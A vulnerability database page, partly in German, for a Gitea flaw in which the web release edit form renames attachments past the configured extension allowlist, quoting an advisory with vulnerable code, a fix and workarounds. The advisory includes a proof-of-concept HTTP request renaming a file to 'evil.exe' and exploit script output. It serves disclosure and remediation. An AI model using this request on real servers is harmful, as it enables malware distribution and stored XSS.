CVE-2026-58428
mediumPriorität · verfolgen · 0EPSS 0.005 · 40. PerzentilDEEURUUSEPSS · bewertet 2026-10-26
Release attachment extension allowlist bypass via web release edit form (variant of CVE-2025-68939)
cvss
Technischer Schweregrad, 0–10. Eine Zeile je Quelle.
Basiswert 0–10 · höher = schwerwiegender · Vektor überfahren zum Auflösen
schwächen
Die CWE-Schwächeklassen, zu denen dies gehört.
betroffene Produkte (9)
Betroffene Produkte und Versionsbereiche.
Advisories (3)
Hersteller- und Ökosystem-Meldungen dazu.
- WID-SEC-W-2026-2304Gitea: Mehrere SchwachstellenDeutsch2026-07-13csaf · cert_bundDE
Ein Angreifer kann mehrere Schwachstellen in Gitea ausnutzen, um beliebigen Programmcode auszuführen, erweiterte Berechtigungen zu erlangen, Sicherheitsmaßnahmen zu umgehen, Daten zu manipulieren, sensible Informationen offenzulegen, Sitzungen zu übernehmen oder wiederzuverwenden oder einen Denial-of-Service-Zustand auszulösen.
- GHSA-25gq-j9jx-43pgGitea: Release attachment extension allowlist bypass via web release edit form (variant of CVE-2025-68939)2026-07-21ghsa · osvUS
## Summary The web handler `EditReleasePost` (`routers/web/repo/release.go`) reads form fields with prefix `attachment-edit-{uuid}` into a `map[uuid]newName`, passes that map to `release_service.UpdateRelease`, which writes the new name to the database via `repo_model.UpdateAttachmentByUUID` WITHOUT calling `upload.Verify` against `setting.Repository.Release.AllowedTypes`. The parent CVE-2025-68939 fix (PR #32151) added the equivalent `upload.Verify` call on the API edit endpoints via `attachment_service.UpdateAttachment`. The web release edit path was not updated. A user with repository write permission can rename any existing release attachment to a name with a forbidden extension via the web release edit form, bypassing the operator-configured allowlist. ## Details ### Vulnerable code `routers/web/repo/release.go:597` `EditReleasePost`: ```go const editPrefix = "attachment-edit-" editAttachments := make(map[string]string) if setting.Attachment.Enabled { for k, v := range ctx.Req.Form { if strings.HasPrefix(k, editPrefix) { editAttachments[k[len(editPrefix):]] = v[0] } } } ... if err = release_service.UpdateRelease(ctx, ctx.Doer, ctx.Repo.GitRepo, rel, addAttachmentUUIDs, delAttachmentUUIDs, editAttachments); err != nil { ctx.ServerError("UpdateRelease", err) return } ``` `services/release/release.go:321` -- the unvalidated write: ```go for uuid, newName := range editAttachments { if !deletedUUIDs.Contains(uuid) { if err = repo_model.UpdateAttachmentByUUID(ctx, &repo_model.Attachment{ UUID: uuid, Name: newName, }, "name"); err != nil { return err } } } ``` No `upload.Verify(nil, newName, setting.Repository.Release.AllowedTypes)` before the database write. ### Comparison: the parent fix on the API path `routers/api/v1/repo/release_attachment.go:341` (patched in PR #32151): ```go if err := attachment_service.UpdateAttachment(ctx, setting.Repository.Release.AllowedTypes, attach); err != nil { if upload.IsErrFileTypeForbidden(err) { ctx.Error(http.StatusUnprocessableEntity, "", err) return } ctx.Error(http.StatusInternalServerError, "UpdateAttachment", attach) return } ``` Delegates to: ```go // services/attachment/attachment.go:96 func UpdateAttachment(ctx context.Context, allowedTypes string, attach *repo_model.Attachment) error { if err := upload.Verify(nil, attach.Name, allowedTypes); err != nil { return err } return repo_model.UpdateAttachment(ctx, attach) } ``` The API path goes through `attachment_service.UpdateAttachment` which calls `upload.Verify(nil, attach.Name, allowedTypes)`. The web path bypasses this entirely. ## Proof of Concept Tested live against: * Gitea `v1.26.1` community edition, Linux amd64, SQLite, Go 1.26.2 * `app.ini` includes `[repository.release] ALLOWED_TYPES = .zip,.tar.gz` * Two users: `admin` (superuser, created via `gitea admin user create --admin`), `bob` (regular, repo owner of `bob/test-repo`) **Step 1**: bob creates release v0.1 and uploads `innocent.zip` (allowlist compliant) via the API. **Step 2**: Sanity. The patched API edit endpoint rejects a rename to a forbidden extension. ```http PATCH /api/v1/repos/bob/test-repo/releases/1/assets/1 HTTP/1.1 Authorization: token <bob_token> Content-Type: application/json {"name":"evil.exe"} ``` Response: `HTTP 422` -- "This file cannot be uploaded or modified due to a forbidden file extension or type." (parent CVE-2025-68939 fix in action). **Step 3**: The attack. The web release edit form does NOT enforce the allowlist. ```http POST /bob/test-repo/releases/edit/v0.1 HTTP/1.1 Cookie: i_like_gitea=<session>; lang=en-US Content-Type: application/x-www-form-urlencoded tag_name=v0.1 &tag_target=main &title=rename+payload &content= &attachment-edit-<existing_attachment_uuid>=evil.exe ``` Response: `HTTP 303 -> /bob/test-repo/releases`. The form is accepted with no validation error. **Step 4**: Verify. ```http GET /api/v1/repos/bob/test-repo/releases/1/assets/1 HTTP/1.1 ``` Response includes `"name": "evil.exe"`. The download link `/attachments/<uuid>` now serves the file under the forbidden extension. A self contained Python PoC ships with this advisory: `GITEA-R007_release_edit_extension_bypass.py`. End to end run: [GITEA-R007_release_edit_extension_bypass.py](https://github.com/user-attachments/files/27739265/GITEA-R007_release_edit_extension_bypass.py) ``` [+] Logged in as bob [+] Pre-attack attachment name: 'innocent2.zip' [+] API endpoint correctly rejects rename: HTTP 422 (parent CVE-2025-68939 fix) [+] POST release edit: HTTP 303 -> /bob/test-repo/releases [+] Post-attack attachment name: 'pwn.exe' [!!!] CONFIRMED: web release edit bypasses Release.AllowedTypes allowlist. ``` ## Impact Same impact class as the parent CVE-2025-68939 (HIGH, CVSS 8.2): * Pre-condition: operator has set `Repository.Release.AllowedTypes` to a non-empty allowlist (a reasonable hardening posture when restricting release uploads). * Threat actor: user holding repository write permission. In most Gitea deployments this is the repo owner, organization members, or invited collaborators. * Effect: bypass the allowlist; an attachment uploaded under an allowed extension is renamed to a forbidden extension (.exe, .html, .svg, .js, ...) and served by Gitea under that name. * Practical impact: * Distribute malware files (e.g., `.exe`, `.dmg`, `.msi`, `.apk`) masquerading as a tagged release attachment * If Gitea serves attachments with inline rendering (HTML, SVG), the renamed file hosts stored XSS against the Gitea origin * Operator hardening intent (the allowlist) is silently defeated, with no audit trail beyond the regular release-edit event ## Suggested remediation Mirror the parent CVE-2025-68939 fix into the web release edit path. In `services/release/release.go UpdateRelease`, verify each new name against the configured allowlist before persisting: ```go import ( "code.gitea.io/gitea/modules/setting" "code.gitea.io/gitea/services/context/upload" ) // inside UpdateRelease, replace the editAttachments loop: for uuid, newName := range editAttachments { if deletedUUIDs.Contains(uuid) { continue } if err := upload.Verify(nil, newName, setting.Repository.Release.AllowedTypes); err != nil { return err } if err = repo_model.UpdateAttachmentByUUID(ctx, &repo_model.Attachment{ UUID: uuid, Name: newName, }, "name"); err != nil { return err } } ``` The web handler `EditReleasePost` should map `IsErrFileTypeForbidden` to a 422 response (or equivalent flash error and form re-render) to match the API behavior. Alternative: refactor `attachment_service.UpdateAttachment` to accept a UUID (or expose a `UpdateAttachmentByUUID` variant in the service layer) and have the release service call that instead of the raw model function. ## Workaround for operators (no Gitea change required) Until a patched release lands, operators can mitigate by either: 1. Removing the `Repository.Release.AllowedTypes` allowlist (accept any extension) -- this eliminates the bypass but also removes the defense, so it is only a holding move. 2. Putting Gitea behind a reverse proxy that rewrites or strips suspicious `attachment-edit-*` form fields on POST to `/<owner>/<repo>/releases/edit/*` -- viable but operationally fragile. 3. Restricting who has Write permission on repositories with a configured release allowlist -- in single-tenant deployments this may be acceptable. A vendor patch is the right answer; the workarounds above are stopgaps. ## Credit Jose Rivas (bl4cksku111.com) ## References * Parent advisory: https://github.com/advisories/GHSA-263q-5cv3-xq9g (CVE-2025-68939) * Parent fix: PR https://github.com/go-gitea/gitea/pull/32151 (commit `7adc4717ec`) * CWE-424: https://cwe.mitre.org/data/definitions/424.html * CWE-434: https://cwe.mitre.org/data/definitions/434.html
- GO-2026-6028Gitea: Release attachment extension allowlist bypass via web release edit form (variant of CVE-2025-68939) in gitea.dev2026-07-22vendor · osvUS
Gitea: Release attachment extension allowlist bypass via web release edit form (variant of CVE-2025-68939) in gitea.dev
auch bekannt als (6)
Weitere Namen und Kennungen dieser Entität.
quellen
Welche Quellen diesen Datensatz belegen und wann.
Referenzen (6)
Externe Belege — Patches, Meldungen, Analysen.
- https://blog.gitea.com/gitea-1.27.0-is-released/enisa_euvd
- https://github.com/go-gitea/gitea/releases/tag/v1.27.0enisa_euvd
- https://github.com/go-gitea/gitea/security/advisories/GHSA-25gq-j9jx-43pgenisa_euvd
- https://blog.gitea.com/gitea-1.27.0-is-released/nvd
- https://github.com/go-gitea/gitea/releases/tag/v1.27.0nvd
- https://github.com/go-gitea/gitea/security/advisories/GHSA-25gq-j9jx-43pgnvd
Angreifer nutzen Schwachstellen wie diese gegen im Internet exponierte Dienste aus. Sehen Sie mit einem kostenlosen Passiv-Scan, was exponiert ist.
Kostenloser Scan